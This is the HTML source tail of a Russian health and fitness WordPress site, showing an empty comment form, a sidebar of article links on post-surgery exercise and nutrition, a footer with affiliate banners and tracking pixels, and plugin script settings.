var cat = '24'; var items = '4';</script> </ul></div><aside class="comments-block"><div class="wpdiscuz_top_clearing"></div><div id='comments' class='comments-area'><div id='respond' style='width: 0;height: 0;clear: both;margin: 0;padding: 0;'></div><div id="wpdcom" class="wpdiscuz_unauth wpd-default wpd-layout-1 wpd-comments-open"><div class="wc_social_plugin_wrapper"></div><div class="wpd-form-wrap"><div class="wpd-form-head"><div class="wpd-sbs-toggle"> <i class="far fa-envelope"></i> <span class="wpd-sbs-title">Подписаться</span> <i class="fas fa-caret-down"></i></div><div class="wpd-auth"><div class="wpd-login"></div></div></div><div class="wpdiscuz-subscribe-bar wpdiscuz-hidden"><form action="https://sportpit18.ru/wp-admin/admin-ajax.php?action=wpdAddSubscription" method="post" id="wpdiscuz-subscribe-form"><div class="wpdiscuz-subscribe-form-intro">Уведомить о</div><div class="wpdiscuz-subscribe-form-option" style="width:40%;"> <select class="wpdiscuz_select" name="wpdiscuzSubscriptionType" ><option value="post">новых последующих комментариях</option><option value="all_comment" >новых ответах на мои комментарии</option> </select></div><div class="wpdiscuz-item wpdiscuz-subscribe-form-email"> <input class="email" type="email" name="wpdiscuzSubscriptionEmail" required="required" value="" placeholder="Email"/></div><div class="wpdiscuz-subscribe-form-button"> <input id="wpdiscuz_subscription_button" class="wpd-prim-button" type="submit" value="›" name="wpdiscuz_subscription_button" /></div> <input type="hidden" id="wpdiscuz_subscribe_form_nonce" name="wpdiscuz_subscribe_form_nonce" value="35fd0f1705" /><input type="hidden" name="_wp_http_referer" value="/protsedury/chto-mozhno-kushat-posle-operatsii-appenditsit.html" /></form></div><div class="wpd-form wpd-form-wrapper wpd-main-form-wrapper" id='wpd-main-form-wrapper-0_0'><form class="wpd_comm_form wpd_main_comm_form" method="post" enctype="multipart/form-data"><div class="wpd-field-comment"><div class="wpdiscuz-item wc-field-textarea"><div class="wpdiscuz-textarea-wrap "><div class="wpd-avatar"> <noscript><img alt='guest' src='https://secure.gravatar.com/avatar/?s=56&d=mm&r=g' srcset='https://secure.gravatar.com/avatar/?s=112&d=mm&r=g 2x' class='avatar avatar-56 photo avatar-default' height='56' width='56' /></noscript><img alt='guest' src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%2056%2056%22%3E%3C/svg%3E' data-src='https://secure.gravatar.com/avatar/?s=56&d=mm&r=g' data-srcset='https://secure.gravatar.com/avatar/?s=112&d=mm&r=g 2x' class='lazyload avatar avatar-56 photo avatar-default' height='56' width='56' /></div><div id="wpd-editor-wraper-0_0" style="display: none;"><div id="wpd-editor-char-counter-0_0" class="wpd-editor-char-counter"></div> <label style="display: none;" for="wc-textarea-0_0">Label</label><textarea id="wc-textarea-0_0" required name="wc_comment" class="wc_comment wpd-field"></textarea><div id="wpd-editor-0_0"></div><div id="wpd-editor-toolbar-0_0"> <button title="Жирный" class="ql-bold" ></button> <button title="Курсив" class="ql-italic" ></button> <button title="Подчеркивание" class="ql-underline" ></button> <button title="Зачеркивание" class="ql-strike" ></button> <button title="Упорядоченный список" class="ql-list" value='ordered' ></button> <button title="Неупорядоченный список" class="ql-list" value='bullet' ></button> <button title="Цитата" class="ql-blockquote" ></button> <button title="Блок кода" class="ql-code-block" ></button> <button title="Ссылка" class="ql-link" ></button> <button title="Исходный код" class="ql-sourcecode" data-wpde_button_name='sourcecode'>{}</button> <button title="Спойлер" class="ql-spoiler" data-wpde_button_name='spoiler'>[+]</button><div class="wpd-editor-buttons-right"> <span class='wmu-upload-wrap' wpd-tooltip='Прикрепить изображение к этому комментарию' wpd-tooltip-position='left'><label class='wmu-add'><i class='far fa-image'></i><input style='display:none;' class='wmu-add-files' type='file' name='wmu_files[]' accept='image/*'/></label></span></div></div></div></div></div></div><div class="wpd-form-foot" style='display:none;'><div class="wpdiscuz-textarea-foot"><div class="wpdiscuz-button-actions"><div class='wmu-action-wrap'><div class='wmu-tabs wmu-images-tab wmu-hide'></div></div></div></div><div class="wpd-form-row"><div class="wpd-form-col-left"><div class="wpdiscuz-item wc_name-wrapper wpd-has-icon"><div class="wpd-field-icon"><i class="fas fa-user"></i></div> <input id="wc_name-0_0" value="" required='required' aria-required='true' class="wc_name wpd-field" type="text" name="wc_name" placeholder="Имя*" maxlength="50" pattern='.{3,50}' title=""> <label for="wc_name-0_0" class="wpdlb">Имя*</label></div><div class="wpdiscuz-item wc_email-wrapper wpd-has-icon"><div class="wpd-field-icon"><i class="fas fa-at"></i></div> <input id="wc_email-0_0" value="" required='required' aria-required='true' class="wc_email wpd-field" type="email" name="wc_email" placeholder="Email*" /> <label for="wc_email-0_0" class="wpdlb">Email*</label></div><div class="wpdiscuz-item wc_website-wrapper wpd-has-icon"><div class="wpd-field-icon"><i class="fas fa-link"></i></div> <input id="wc_website-0_0" value="" class="wc_website wpd-field" type="text" name="wc_website" placeholder="Веб-сайт" /> <label for="wc_website-0_0" class="wpdlb">Веб-сайт</label></div></div><div class="wpd-form-col-right"><div class="wc-field-submit"> <label class="wpd_label" wpd-tooltip="Сообщать о всех новых ответах на мои комментарии"> <input id="wc_notification_new_comment-0_0" class="wc_notification_new_comment-0_0 wpd_label__checkbox" value="comment" type="checkbox" name="wpdiscuz_notification_type" /> <span class="wpd_label__text"> <span class="wpd_label__check"> <i class="fas fa-bell wpdicon wpdicon-on"></i> <i class="fas fa-bell-slash wpdicon wpdicon-off"></i> </span> </span> </label> <input id="wpd-field-submit-0_0" class="wc_comm_submit wpd_not_clicked wpd-prim-button" type="submit" name="submit" value="Оставить комментарий" /></div></div><div class="clearfix"></div></div></div> <input type="hidden" class="wpdiscuz_unique_id" value="0_0" name="wpdiscuz_unique_id"></form></div><div id="wpdiscuz_hidden_secondary_form" style="display: none;"><div class="wpd-form wpd-form-wrapper wpd-secondary-form-wrapper" id='wpd-secondary-form-wrapper-wpdiscuzuniqueid' style='display: none;'><div class="wpd-secondary-forms-social-content"></div><div class="clearfix"></div><form class="wpd_comm_form wpd-secondary-form-wrapper" method="post" enctype="multipart/form-data"><div class="wpd-field-comment"><div class="wpdiscuz-item wc-field-textarea"><div class="wpdiscuz-textarea-wrap "><div class="wpd-avatar"> <noscript><img alt='guest' src='https://secure.gravatar.com/avatar/?s=56&d=mm&r=g' srcset='https://secure.gravatar.com/avatar/?s=112&d=mm&r=g 2x' class='avatar avatar-56 photo avatar-default' height='56' width='56' /></noscript><img alt='guest' src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%2056%2056%22%3E%3C/svg%3E' data-src='https://secure.gravatar.com/avatar/?s=56&d=mm&r=g' data-srcset='https://secure.gravatar.com/avatar/?s=112&d=mm&r=g 2x' class='lazyload avatar avatar-56 photo avatar-default' height='56' width='56' /></div><div id="wpd-editor-wraper-wpdiscuzuniqueid" style="display: none;"><div id="wpd-editor-char-counter-wpdiscuzuniqueid" class="wpd-editor-char-counter"></div> <label style="display: none;" for="wc-textarea-wpdiscuzuniqueid">Label</label><textarea id="wc-textarea-wpdiscuzuniqueid" required name="wc_comment" class="wc_comment wpd-field"></textarea><div id="wpd-editor-wpdiscuzuniqueid"></div><div id="wpd-editor-toolbar-wpdiscuzuniqueid"> <button title="Жирный" class="ql-bold" ></button> <button title="Курсив" class="ql-italic" ></button> <button title="Подчеркивание" class="ql-underline" ></button> <button title="Зачеркивание" class="ql-strike" ></button> <button title="Упорядоченный список" class="ql-list" value='ordered' ></button> <button title="Неупорядоченный список" class="ql-list" value='bullet' ></button> <button title="Цитата" class="ql-blockquote" ></button> <button title="Блок кода" class="ql-code-block" ></button> <button title="Ссылка" class="ql-link" ></button> <button title="Исходный код" class="ql-sourcecode" data-wpde_button_name='sourcecode'>{}</button> <button title="Спойлер" class="ql-spoiler" data-wpde_button_name='spoiler'>[+]</button><div class="wpd-editor-buttons-right"> <span class='wmu-upload-wrap' wpd-tooltip='Прикрепить изображение к этому комментарию' wpd-tooltip-position='left'><label class='wmu-add'><i class='far fa-image'></i><input style='display:none;' class='wmu-add-files' type='file' name='wmu_files[]' accept='image/*'/></label></span></div></div></div></div></div></div><div class="wpd-form-foot" style='display:none;'><div class="wpdiscuz-textarea-foot"><div class="wpdiscuz-button-actions"><div class='wmu-action-wrap'><div class='wmu-tabs wmu-images-tab wmu-hide'></div></div></div></div><div class="wpd-form-row"><div class="wpd-form-col-left"><div class="wpdiscuz-item wc_name-wrapper wpd-has-icon"><div class="wpd-field-icon"><i class="fas fa-user"></i></div> <input id="wc_name-wpdiscuzuniqueid" value="" required='required' aria-required='true' class="wc_name wpd-field" type="text" name="wc_name" placeholder="Имя*" maxlength="50" pattern='.{3,50}' title=""> <label for="wc_name-wpdiscuzuniqueid" class="wpdlb">Имя*</label></div><div class="wpdiscuz-item wc_email-wrapper wpd-has-icon"><div class="wpd-field-icon"><i class="fas fa-at"></i></div> <input id="wc_email-wpdiscuzuniqueid" value="" required='required' aria-required='true' class="wc_email wpd-field" type="email" name="wc_email" placeholder="Email*" /> <label for="wc_email-wpdiscuzuniqueid" class="wpdlb">Email*</label></div><div class="wpdiscuz-item wc_website-wrapper wpd-has-icon"><div class="wpd-field-icon"><i class="fas fa-link"></i></div> <input id="wc_website-wpdiscuzuniqueid" value="" class="wc_website wpd-field" type="text" name="wc_website" placeholder="Веб-сайт" /> <label for="wc_website-wpdiscuzuniqueid" class="wpdlb">Веб-сайт</label></div></div><div class="wpd-form-col-right"><div class="wc-field-submit"> <label class="wpd_label" wpd-tooltip="Сообщать о всех новых ответах на мои комментарии"> <input id="wc_notification_new_comment-wpdiscuzuniqueid" class="wc_notification_new_comment-wpdiscuzuniqueid wpd_label__checkbox" value="comment" type="checkbox" name="wpdiscuz_notification_type" /> <span class="wpd_label__text"> <span class="wpd_label__check"> <i class="fas fa-bell wpdicon wpdicon-on"></i> <i class="fas fa-bell-slash wpdicon wpdicon-off"></i> </span> </span> </label> <input id="wpd-field-submit-wpdiscuzuniqueid" class="wc_comm_submit wpd_not_clicked wpd-prim-button" type="submit" name="submit" value="Оставить комментарий" /></div></div><div class="clearfix"></div></div></div> <input type="hidden" class="wpdiscuz_unique_id" value="wpdiscuzuniqueid" name="wpdiscuz_unique_id"></form></div></div></div><div id="wpd-threads" class="wpd-thread-wrapper"><div class="wpd-thread-head"><div class="wpd-thread-info " data-comments-count="0"> <span class='wpdtc' title='0'>0</span> комментариев</div><div class="wpd-space"></div><div class="wpd-thread-filter"><div class="wpd-filter wpdf-reacted wpd_not_clicked" wpd-tooltip="Самый популярный комментарий "><i class="fas fa-bolt"></i></div><div class="wpd-filter wpdf-hottest wpd_not_clicked" wpd-tooltip="Цепочка популярного комментария"><i class="fas fa-fire"></i></div></div></div><div class="wpd-comment-info-bar"><div class="wpd-current-view"><i class="fas fa-quote-left"></i> Межтекстовые Отзывы</div><div class="wpd-filter-view-all">Посмотреть все комментарии</div></div><div class="wpd-thread-list"><div class="wpdiscuz-comment-pagination"></div></div></div></div></div><div id="wpdiscuz-loading-bar" class="wpdiscuz-loading-bar-unauth"></div><div id="wpdiscuz-comment-message" class="wpdiscuz-comment-message-unauth"></div></aside></main><aside class="sidebar sidebar_midle"><div class="sidebar-menu"><div class="title">Рубрики</div><ul><li class="menu-item menu-item-type-custom menu-item-object-custom menu-item-home menu-item-331"><a href="https://sportpit18.ru/">Главная</a></li><li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-300"><a href="https://sportpit18.ru/vopros-otvet">Вопрос-Ответ</a></li><li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-219"><a href="https://sportpit18.ru/sample-page">О нас</a></li></ul></div><div class="section-posts-box section"><div class="title">Популярные статьи</div><div class="section-posts"><div class="section-posts__item"> <noscript><img src="https://sportpit18.ru/wp-content/cache/thumb/26/fe66fea22b38f26_300x180.jpg" width="300" height="180" alt="Гимнастика после операции на мениске коленного сустава" loading="lazy" class="section-posts__item-img"></noscript><img src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20300%20180%22%3E%3C/svg%3E' data-src="https://sportpit18.ru/wp-content/cache/thumb/26/fe66fea22b38f26_300x180.jpg" width="300" height="180" alt="Гимнастика после операции на мениске коленного сустава" loading="lazy" class="lazyload section-posts__item-img"><div class="section-posts__item-title"> <a href="https://sportpit18.ru/protsedury/gimnastika-posle-operatsii-na-meniske-kolennogo-sustava.html">Гимнастика после операции на мениске коленного сустава</a></div><div class="section-posts__item-text"> Гимнастика после операции на мениске коленного сустава Более 15 упражнений...</div><div class="post-info section-posts__item-info"><div class="post-info__comment">0</div> <time class="post-info__time post-info__time_popular" datetime="2020-03-17">17.03.2020</time></div></div><div class="section-posts__item"> <noscript><img src="https://sportpit18.ru/wp-content/cache/thumb/be/a3690fa196260be_300x180.jpg" width="300" height="180" alt="Как разработать локтевой сустав после операции" loading="lazy" class="section-posts__item-img"></noscript><img src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20300%20180%22%3E%3C/svg%3E' data-src="https://sportpit18.ru/wp-content/cache/thumb/be/a3690fa196260be_300x180.jpg" width="300" height="180" alt="Как разработать локтевой сустав после операции" loading="lazy" class="lazyload section-posts__item-img"><div class="section-posts__item-title"> <a href="https://sportpit18.ru/protsedury/kak-razrabotat-loktevoj-sustav-posle-operatsii.html">Как разработать локтевой сустав после операции</a></div><div class="section-posts__item-text"> Как разработать локтевой сустав после операции Как восстановить локтевой сустав...</div><div class="post-info section-posts__item-info"><div class="post-info__comment">0</div> <time class="post-info__time post-info__time_popular" datetime="2020-04-02">02.04.2020</time></div></div><div class="section-posts__item"> <noscript><img src="https://sportpit18.ru/wp-content/cache/thumb/50/d36106a3a1f4c50_300x180.jpg" width="300" height="180" alt="Гимнастика после операции на тазобедренном суставе" loading="lazy" class="section-posts__item-img"></noscript><img src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20300%20180%22%3E%3C/svg%3E' data-src="https://sportpit18.ru/wp-content/cache/thumb/50/d36106a3a1f4c50_300x180.jpg" width="300" height="180" alt="Гимнастика после операции на тазобедренном суставе" loading="lazy" class="lazyload section-posts__item-img"><div class="section-posts__item-title"> <a href="https://sportpit18.ru/protsedury/gimnastika-posle-operatsii-na-tazobedrennom-sustave.html">Гимнастика после операции на тазобедренном суставе</a></div><div class="section-posts__item-text"> Гимнастика после операции на тазобедренном суставе Гимнастика после эндопротезирования тазобедренного...</div><div class="post-info section-posts__item-info"><div class="post-info__comment">0</div> <time class="post-info__time post-info__time_popular" datetime="2020-04-05">05.04.2020</time></div></div></div></div><div class="widget_text section section_widget widget_custom_html"><div class="textwidget custom-html-widget"><div class="dem-poll-shortcode"></div></div></div><div class="section section_widget widget_recentpost_morkovin_widget"><div class="title">Свежие публикации</div><ul><li class="section-posts__item section-posts__item_margin"><div class="section-posts__item-title"><a href="https://sportpit18.ru/uprazhneniya/uprazhneniya-na-nogi-so-shtangoj-i-gantelyami.html">Упражнения на ноги со штангой и гантелями</a></div><div class="post-info section-posts__item-info"><div class="post-info__comment">0</div> <time class="post-info__time post-info__time_popular" datetime="2020-06-01">01.06.2020</time></div></li><li class="section-posts__item section-posts__item_margin"><div class="section-posts__item-title"><a href="https://sportpit18.ru/tablitsy/tablitsa-kalorij-po-vozrastu.html">Таблица калорий по возрасту</a></div><div class="post-info section-posts__item-info"><div class="post-info__comment">0</div> <time class="post-info__time post-info__time_popular" datetime="2020-06-01">01.06.2020</time></div></li><li class="section-posts__item section-posts__item_margin"><div class="section-posts__item-title"><a href="https://sportpit18.ru/tablitsy/tablitsa-sootnosheniya-vesa-i-rosta-u-detej.html">Таблица соотношения веса и роста у детей</a></div><div class="post-info section-posts__item-info"><div class="post-info__comment">0</div> <time class="post-info__time post-info__time_popular" datetime="2020-06-01">01.06.2020</time></div></li><li class="section-posts__item section-posts__item_margin"><div class="section-posts__item-title"><a href="https://sportpit18.ru/joga/hatha-joga-pitanie.html">Хатха йога питание</a></div><div class="post-info section-posts__item-info"><div class="post-info__comment">0</div> <time class="post-info__time post-info__time_popular" datetime="2020-06-01">01.06.2020</time></div></li><li class="section-posts__item section-posts__item_margin"><div class="section-posts__item-title"><a href="https://sportpit18.ru/retsepty/stol-5-p-retsepty-blyud.html">Стол 5 п рецепты блюд</a></div><div class="post-info section-posts__item-info"><div class="post-info__comment">0</div> <time class="post-info__time post-info__time_popular" datetime="2020-06-01">01.06.2020</time></div></li><li class="section-posts__item section-posts__item_margin"><div class="section-posts__item-title"><a href="https://sportpit18.ru/bolezni/kak-dozhit-do-100-let-bez-boleznej.html">Как дожить до 100 лет без болезней</a></div><div class="post-info section-posts__item-info"><div class="post-info__comment">0</div> <time class="post-info__time post-info__time_popular" datetime="2020-06-01">01.06.2020</time></div></li></ul></div></aside></div></div><footer class="footer" id="footer"> <a target="_blank" rel="nofollow" href="https://ad.admitad.com/g/253d5b170fcd070532c4ea9a5e8e92/?i=4"><noscript><img width="320" height="50" border="0" src="https://ad.admitad.com/b/253d5b170fcd070532c4ea9a5e8e92/" alt="ВсеИнструменты"/></noscript><img class="lazyload" width="320" height="50" border="0" src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20320%2050%22%3E%3C/svg%3E' data-src="https://ad.admitad.com/b/253d5b170fcd070532c4ea9a5e8e92/" alt="ВсеИнструменты"/></a> <a target="_blank" rel="nofollow" href="https://ad.admitad.com/g/71f35w2ahxcd070532c49ea6f4077f/?i=4"> <noscript><img width="320" height="50" border="0" src="https://ad.admitad.com/b/71f35w2ahxcd070532c49ea6f4077f/" alt="220 Вольт"/></noscript><img class="lazyload" width="320" height="50" border="0" src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20320%2050%22%3E%3C/svg%3E' data-src="https://ad.admitad.com/b/71f35w2ahxcd070532c49ea6f4077f/" alt="220 Вольт"/></a><nav class="footer-nav"><ul><li id="menu-item-188" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-privacy-policy menu-item-188"><a href="https://sportpit18.ru/pravoobladatelyam">Правообладателям</a></li><li id="menu-item-177" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-177"><a href="https://sportpit18.ru/sample-page">О нас</a></li><li id="menu-item-57" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-57"><a href="https://sportpit18.ru/sitemap">Карта сайта</a></li></ul></nav><div class="footer-bottom"><div class="copy">© 2022 Все права защищены. Копирование материалов разрешено только при наличии активной обратной ссылки</div><div class="social-icon"> <a href='#' target='_blank' class='ok'>ok</a><a href='#' target='_blank' class='yt'>yt</a><a href='#' target='_blank' class='fb'>fb</a><a href='#' target='_blank' class='gp'>gp</a><a href='#' target='_blank' class='tw'>tw</a><a href='#' target='_blank' class='in'>in</a><a href='#' target='_blank' class='vk'>vk</a></div></div><div style="display:none;"> <noindex> <noscript><img src="https://ad.admitad.com/g/bef1f6187acd070532c4ea9a5e8e92/" rel="nofollow" width="1" height="1" style="display:none;"></noscript><img class="lazyload" src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%201%201%22%3E%3C/svg%3E' data-src="https://ad.admitad.com/g/bef1f6187acd070532c4ea9a5e8e92/" rel="nofollow" width="1" height="1" style="display:none;"> <noscript><img src="https://ad.admitad.com/g/98a1f7be39cd070532c49ea6f4077f/" rel="nofollow" width="1" height="1" style="display:none;"></noscript><img class="lazyload" src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%201%201%22%3E%3C/svg%3E' data-src="https://ad.admitad.com/g/98a1f7be39cd070532c49ea6f4077f/" rel="nofollow" width="1" height="1" style="display:none;"> <noscript><img src="https://beget.com/p195175" rel="nofollow" width="1" height="1" style="display:none;"></noscript><img class="lazyload" src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%201%201%22%3E%3C/svg%3E' data-src="https://beget.com/p195175" rel="nofollow" width="1" height="1" style="display:none;"> <noscript><img src="http://got.by/3wb5yz" rel="nofollow" width="1" height="1" style="display:none;"></noscript><img class="lazyload" src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%201%201%22%3E%3C/svg%3E' data-src="http://got.by/3wb5yz" rel="nofollow" width="1" height="1" style="display:none;"> </noindex></div></footer></div> <a href='javascript:void(0);' id='wpdUserContentInfoAnchor' style='display:none;' rel='#wpdUserContentInfo' data-wpd-lity>wpDiscuz</a><div id='wpdUserContentInfo' style='overflow:auto;background:#FDFDF6;padding:20px;width:600px;max-width:100%;border-radius:6px;' class='lity-hide'></div><div id='wpd-editor-source-code-wrapper-bg'></div><div id='wpd-editor-source-code-wrapper'><textarea id='wpd-editor-source-code'></textarea><button id='wpd-insert-source-code'>Insert</button><input type='hidden' id='wpd-editor-uid' /></div><noscript><style>.lazyload{display:none;}</style></noscript><script data-noptimize="1">window.lazySizesConfig=window.lazySizesConfig||{};window.lazySizesConfig.loadMode=1;</script><script async data-noptimize="1" src='https://sportpit18.ru/wp-content/plugins/autoptimize/classes/external/js/lazysizes.min.js?ao_version=2.9.2'></script><link rel='stylesheet' id='testme-style-css-css' href='https://sportpit18.ru/wp-content/plugins/wp_testme/testme_style.css?ver=1.0.1' type='text/css' media='all' /> <script type='text/javascript' src='https://sportpit18.ru/wp-includes/js/dist/vendor/regenerator-runtime.min.js?ver=0.13.7' id='regenerator-runtime-js'></script> <script type='text/javascript' src='https://sportpit18.ru/wp-includes/js/dist/vendor/wp-polyfill.min.js?ver=3.15.0' id='wp-polyfill-js'></script> <script type='text/javascript' id='contact-form-7-js-extra'>var wpcf7 = {"api":{"root":"https:\/\/sportpit18.ru\/wp-json\/","namespace":"contact-form-7\/v1"},"cached":"1"};</script> <script type='text/javascript' id='toc-front-js-extra'>var tocplus = {"smooth_scroll":"1","smooth_scroll_offset":"50"};</script> <script type='text/javascript' id='wp-postratings-js-extra'>var ratingsL10n = {"plugin_url":"https:\/\/sportpit18.ru\/wp-content\/plugins\/wp-postratings","ajax_url":"https:\/\/sportpit18.ru\/wp-admin\/admin-ajax.php","text_wait":"\u041f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430, \u043d\u0435 \u0433\u043e\u043b\u043e\u0441\u0443\u0439\u0442\u0435 \u0437\u0430 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0437\u0430\u043f\u0438\u0441\u0435\u0439 \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e.","image":"stars_crystal","image_ext":"gif","max":"5","show_loading":"1","show_fading":"1","custom":"0"}; var ratings_mouseover_image=new Image();ratings_mouseover_image.src="https://sportpit18.ru/wp-content/plugins/wp-postratings/images/stars_crystal/rating_over.gif";;</script> <script type='text/javascript' id='wp-postviews-cache-js-extra'>var viewsCacheL10n = {"admin_ajax_url":"https:\/\/sportpit18.ru\/wp-admin\/admin-ajax.php","post_id":"1656"};</script> <script type='text/javascript' id='testme-js-extra'>var testme_aj = {"ajax_url":"https:\/\/sportpit18.ru\/wp-admin\/admin-ajax.php"};</script> <script type='text/javascript' id='wpdiscuz-combo-js-js-extra'>var wpdiscuzAjaxObj = {"wc_hide_replies_text":"\u0421\u043f\u0440\u044f\u0442\u0430\u0442\u044c \u043e\u0442\u0432\u0435\u0442\u044b","wc_show_replies_text":"\u041f\u0440\u043e\u0441\u043c\u043e\u0442\u0440 \u043e\u0442\u0432\u0435\u0442\u043e\u0432","wc_msg_required_fields":"\u0417\u0430\u043f\u043e\u043b\u043d\u0438\u0442\u0435 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0435 \u043f\u043e\u043b\u044f","wc_invalid_field":"\u041d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u043b\u044f \u0437\u0430\u043f\u043e\u043b\u043d\u0435\u043d\u044b \u043d\u0435\u0432\u0435\u0440\u043d\u043e","wc_error_empty_text":"\u043f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430, \u0437\u0430\u043f\u043e\u043b\u043d\u0438\u0442\u0435 \u044d\u0442\u043e \u043f\u043e\u043b\u0435, \u0447\u0442\u043e\u0431\u044b \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c","wc_error_url_text":"url \u043d\u0435\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439","wc_error_email_text":"\u0430\u0434\u0440\u0435\u0441 \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u043f\u043e\u0447\u0442\u044b \u043d\u0435\u0432\u0435\u0440\u0435\u043d","wc_invalid_captcha":"\u041d\u0435\u0432\u0435\u0440\u043d\u043e \u0432\u0432\u0435\u0434\u0435\u043d \u043a\u043e\u0434","wc_login_to_vote":"\u0412\u044b \u0434\u043e\u043b\u0436\u043d\u044b \u0432\u043e\u0439\u0442\u0438 , \u0447\u0442\u043e\u0431\u044b \u043f\u0440\u043e\u0433\u043e\u043b\u043e\u0441\u043e\u0432\u0430\u0442\u044c","wc_deny_voting_from_same_ip":"\u0412\u044b \u043d\u0435 \u043c\u043e\u0436\u0435\u0442\u0435 \u0433\u043e\u043b\u043e\u0441\u043e\u0432\u0430\u0442\u044c \u0437\u0430 \u044d\u0442\u043e\u0442 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0439","wc_self_vote":"\u0412\u044b \u043d\u0435 \u043c\u043e\u0436\u0435\u0442\u0435 \u0433\u043e\u043b\u043e\u0441\u043e\u0432\u0430\u0442\u044c \u0437\u0430 \u0441\u0432\u043e\u0439 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0439","wc_vote_only_one_time":"\u0412\u044b \u0443\u0436\u0435 \u0433\u043e\u043b\u043e\u0441\u043e\u0432\u0430\u043b\u0438 \u0437\u0430 \u044d\u0442\u043e\u0442 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0439","wc_voting_error":"\u041e\u0448\u0438\u0431\u043a\u0430 \u0433\u043e\u043b\u043e\u0441\u043e\u0432\u0430\u043d\u0438\u044f","wc_comment_edit_not_possible":"\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435, \u044d\u0442\u043e\u0442 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0439 \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435\u043b\u044c\u0437\u044f \u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c","wc_comment_not_updated":"\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435, \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0439 \u043d\u0435 \u0431\u044b\u043b \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d","wc_comment_not_edited":"\u0412\u044b \u043d\u0435 \u0441\u0434\u0435\u043b\u0430\u043b\u0438 \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439","wc_msg_input_min_length":"\u0412\u0432\u043e\u0434 \u0441\u043b\u0438\u0448\u043a\u043e\u043c \u043a\u043e\u0440\u043e\u0442\u043a\u0438\u0439","wc_msg_input_max_length":"\u0412\u0432\u043e\u0434 \u0441\u043b\u0438\u0448\u043a\u043e\u043c \u0434\u043b\u0438\u043d\u043d\u044b\u0439","wc_spoiler_title":"\u041d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \u0441\u043f\u043e\u0439\u043b\u0435\u0440\u0430","wc_cannot_rate_again":"\u0412\u044b \u043d\u0435 \u043c\u043e\u0436\u0435\u0442\u0435 \u0441\u043d\u043e\u0432\u0430 \u043e\u0446\u0435\u043d\u0438\u0442\u044c","wc_not_allowed_to_rate":"\u0412\u0430\u043c \u043d\u0435 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u043e \u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0437\u0434\u0435\u0441\u044c \u043e\u0446\u0435\u043d\u043a\u0443","wc_follow_user":"\u041f\u043e\u0434\u043f\u0438\u0441\u0430\u0442\u044c\u0441\u044f \u043d\u0430 \u044d\u0442\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f","wc_unfollow_user":"\u041e\u0442\u043f\u0438\u0441\u0430\u0442\u044c\u0441\u044f \u043e\u0442 \u044d\u0442\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f","wc_follow_success":"\u0412\u044b \u043f\u043e\u0434\u043f\u0438\u0441\u0430\u043b\u0438\u0441\u044c \u043d\u0430 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0438 \u044d\u0442\u043e\u0433\u043e \u0430\u0432\u0442\u043e\u0440\u0430","wc_follow_canceled":"\u0412\u044b \u043f\u0440\u0438\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u0438 \u043f\u043e\u0434\u043f\u0438\u0441\u043a\u0443 \u043d\u0430 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0438 \u044d\u0442\u043e\u0433\u043e 